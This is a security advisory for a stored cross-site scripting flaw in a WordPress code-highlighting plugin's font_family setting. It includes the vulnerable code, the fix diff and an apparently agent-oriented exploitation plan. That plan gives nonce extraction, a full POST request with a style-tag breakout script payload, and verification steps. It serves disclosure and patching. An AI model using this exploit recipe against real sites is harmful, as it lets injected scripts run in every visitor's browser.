Highlighting Code Block <= 2.2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'font_family' Setting
Description
The Highlighting Code Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.2.0What Changed in the Fix
Changes introduced in v2.2.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-12108 (Highlighting Code Block Stored XSS) ## 1. Vulnerability Summary The **Highlighting Code Block** plugin for WordPress (version <= 2.2.0) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `font_family` setting. The vulnerability exists becaus…
Show full research plan
Exploitation Research Plan: CVE-2026-12108 (Highlighting Code Block Stored XSS)
1. Vulnerability Summary
The Highlighting Code Block plugin for WordPress (version <= 2.2.0) is vulnerable to Stored Cross-Site Scripting (XSS) via the font_family setting. The vulnerability exists because the plugin accepts arbitrary input in the "Font-family" setting field and subsequently renders this value within a :root CSS variable declaration inside a <style> block on the frontend. The output is concatenated into the CSS string without escaping or sanitization, allowing an attacker to break out of the CSS context and the <style> tag to inject arbitrary JavaScript.
While the setting requires Administrator-level permissions to modify, this is a significant finding for WordPress Multisite environments (where site admins are restricted from unfiltered_html) or installations where DISALLOW_UNFILTERED_HTML is enabled.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/options.php(Standard WordPress Settings API handler). - Vulnerable Setting:
loos_hcb_settings[font_family] - Required Capability:
manage_options(Administrator level). - Action String:
update - Option Group:
hcb_settings(Defined byLOOS_HCB::MENU_SLUG). - Preconditions: The attacker must have administrative access. The impact is realized when any user (including other admins) views a frontend page where the code block styles are loaded.
3. Code Flow
- Entry Point (Input): In
class/loos_hcb_menu.php, the plugin registers the settingloos_hcb_settings(mapped toLOOS_HCB::DB_NAME['settings']) viaregister_setting(). It defines thefont_familyfield as atextarea. - Storage: When an administrator submits the settings form, WordPress saves the array into the
wp_optionstable under the keyloos_hcb_settings. - Processing (Sink): In
class/loos_hcb.php, the functionget_inline_style()retrieves the setting:public static function get_inline_style() { $inline_css = ''; $HCB = self::$settings; // Merged array from get_option('loos_hcb_settings') // ... // Font family if ( $HCB['font_family'] ) { $inline_css .= ':root{--hcb--ff:' . $HCB['font_family'] . '}'; } return $inline_css; } - Rendering: In
class/loos_hcb_scripts.php, thehook_wp_enqueue_scripts()method callsget_inline_style()and passes the raw string towp_add_inline_style():
WordPress renders this into thewp_add_inline_style( 'hcb-style', LOOS_HCB::get_inline_style() );<head>section as:<style id='hcb-style-inline-css' type='text/css'> :root{--hcb--ff:[USER_INPUT]} </style>
4. Nonce Acquisition Strategy
Since this exploit targets the options.php endpoint, a valid WordPress nonce for the hcb_settings-options action is required.
- Access Settings Page: Log in as an administrator and navigate to the plugin settings page:
/wp-admin/options-general.php?page=hcb_settings. - Extract Nonce: Use
browser_evalto extract the nonce from the settings form.- Form Nonce Field:
_wpnonce - Referer Nonce Field:
_wp_http_referer
- Form Nonce Field:
- JavaScript for Nonce:
// The nonce is inside the form with action "options.php" document.querySelector('form[action="options.php"] input[name="_wpnonce"]').value
5. Exploitation Strategy
The goal is to break out of the CSS variable context and the <style> tag.
Payload
} </style><script>alert(document.domain)</script>
HTTP Request (via http_request tool)
- Method:
POST - URL:
http://[TARGET]/wp-admin/options.php - Headers:
Content-Type: application/x-www-form-urlencoded
- Body:
option_page=hcb_settings
&action=update
&_wpnonce=[EXTRACTED_NONCE]
&_wp_http_referer=/wp-admin/options-general.php?page=hcb_settings
&loos_hcb_settings[font_family]=}%20%3C/style%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
&loos_hcb_settings[show_lang]=on
&loos_hcb_settings[show_linenum]=on
&loos_hcb_settings[show_copy]=on
&submit=Save%20Changes
Note: We include other default settings (show_lang, etc.) to ensure the options array is reconstructed correctly during the update_option call.
6. Test Data Setup
- Install Plugin: Ensure "Highlighting Code Block" version 2.2.0 is active.
- Create Post: Create a public post containing the plugin's block or just any page. The CSS is enqueued on any page where
wp_enqueue_scriptsruns and the plugin determines it needs to load styles. To be certain, add a code block to a post.wp post create --post_type=post --post_title="XSS Test" --post_status=publish --post_content='<!-- wp:loos/hcb-code-block --> <pre class="prism undefined-numbers" data-lang="html"><code>test</code></pre> <!-- /wp:loos/hcb-code-block -->'
7. Expected Results
- After the POST request, the
loos_hcb_settingsoption in the database will contain the payload. - Upon visiting the frontend post created in step 6, the HTML source will contain:
<style id='hcb-style-inline-css' type='text/css'> :root{--hcb--ff:} </style><script>alert(document.domain)</script>} </style> - The browser will execute the injected
<script>block.
8. Verification Steps
- Check Database via CLI:
Confirm thewp option get loos_hcb_settings --format=jsonfont_familykey contains the payload. - Verify Frontend Render:
Usehttp_request(GET) on the frontend URL and check for the presence of the string</style><script>alert.
9. Alternative Approaches
If the options.php route is blocked or the admin cannot access it, check for a direct AJAX save action (though not found in this plugin's source).
An alternative payload context:
If the font_family is reflected inside an attribute (e.g., style="font-family: [INPUT]"), the breakout would change to "; [XSS]. However, in this plugin, it is strictly within a <style> block, so the </style> breakout is the most reliable method.
Summary
The Highlighting Code Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'font_family' setting in versions up to 2.2.0. Authenticated administrators can inject malicious code that breaks out of the CSS :root variable context and the enclosing <style> tag to execute arbitrary JavaScript on the frontend for all users.
Vulnerable Code
// class/loos_hcb_menu.php (lines 20-23 in v2.2.0) add_action( 'admin_init', function() { // データベースに保存されるオプション名を登録 register_setting( LOOS_HCB::MENU_SLUG, LOOS_HCB::DB_NAME['settings'] ); --- // class/loos_hcb.php (lines 145-156 in v2.2.0) public static function get_inline_style() { $inline_css = ''; $HCB = self::$settings; // Font size $inline_css .= ':root{--hcb--fz--base: ' . $HCB['fontsize_pc'] . '}'; $inline_css .= ':root{--hcb--fz--mobile: ' . $HCB['fontsize_sp'] . '}'; // Font family if ( $HCB['font_family'] ) { $inline_css .= ':root{--hcb--ff:' . $HCB['font_family'] . '}'; }
Security Fix
@@ -20,7 +20,14 @@ */ add_action( 'admin_init', function() { // データベースに保存されるオプション名を登録 - register_setting( LOOS_HCB::MENU_SLUG, LOOS_HCB::DB_NAME['settings'] ); + register_setting( + LOOS_HCB::MENU_SLUG, + LOOS_HCB::DB_NAME['settings'], + [ + 'type' => 'array', + 'sanitize_callback' => [ 'LOOS_HCB_Menu', 'sanitize_settings' ], + ] + ); //「基本設定」セクション add_settings_section( @@ -142,6 +142,35 @@ /** + * CSS値(font-family / font-size など)を <style> コンテキスト用にサニタイズする。 + */ + public static function sanitize_css_value( $value ) { + $value = wp_strip_all_tags( (string) $value ); + $value = str_replace( [ '<', '>', '{', '}', ';' ], '', $value ); + return trim( $value ); + } + + /** * インラインスタイルの生成 */ public static function get_inline_style() { @@ -150,12 +179,13 @@ $HCB = self::$settings; // Font size - $inline_css .= ':root{--hcb--fz--base: ' . $HCB['fontsize_pc'] . '}'; - $inline_css .= ':root{--hcb--fz--mobile: ' . $HCB['fontsize_sp'] . '}'; + $inline_css .= ':root{--hcb--fz--base: ' . self::sanitize_css_value( $HCB['fontsize_pc'] ) . '}'; + $inline_css .= ':root{--hcb--fz--mobile: ' . self::sanitize_css_value( $HCB['fontsize_sp'] ) . '}'; // Font family - if ( $HCB['font_family'] ) { - $inline_css .= ':root{--hcb--ff:' . $HCB['font_family'] . '}'; + $font_family = self::sanitize_css_value( $HCB['font_family'] ); + if ( $font_family ) { + $inline_css .= ':root{--hcb--ff:' . $font_family . '}'; }
Exploit Outline
To exploit this vulnerability, an attacker with Administrator-level privileges must first retrieve a valid WordPress nonce from the plugin's settings page (/wp-admin/options-general.php?page=hcb_settings). Using this nonce, the attacker sends a POST request to /wp-admin/options.php to update the 'loos_hcb_settings[font_family]' option. The payload consists of a closing brace to escape the CSS declaration, a closing </style> tag, and a malicious <script> tag (e.g., '} </style><script>alert(1)</script>'). When any user visits a frontend page containing a code block, the plugin renders this unsanitized string within an inline style block in the document <head>, resulting in the execution of the injected JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.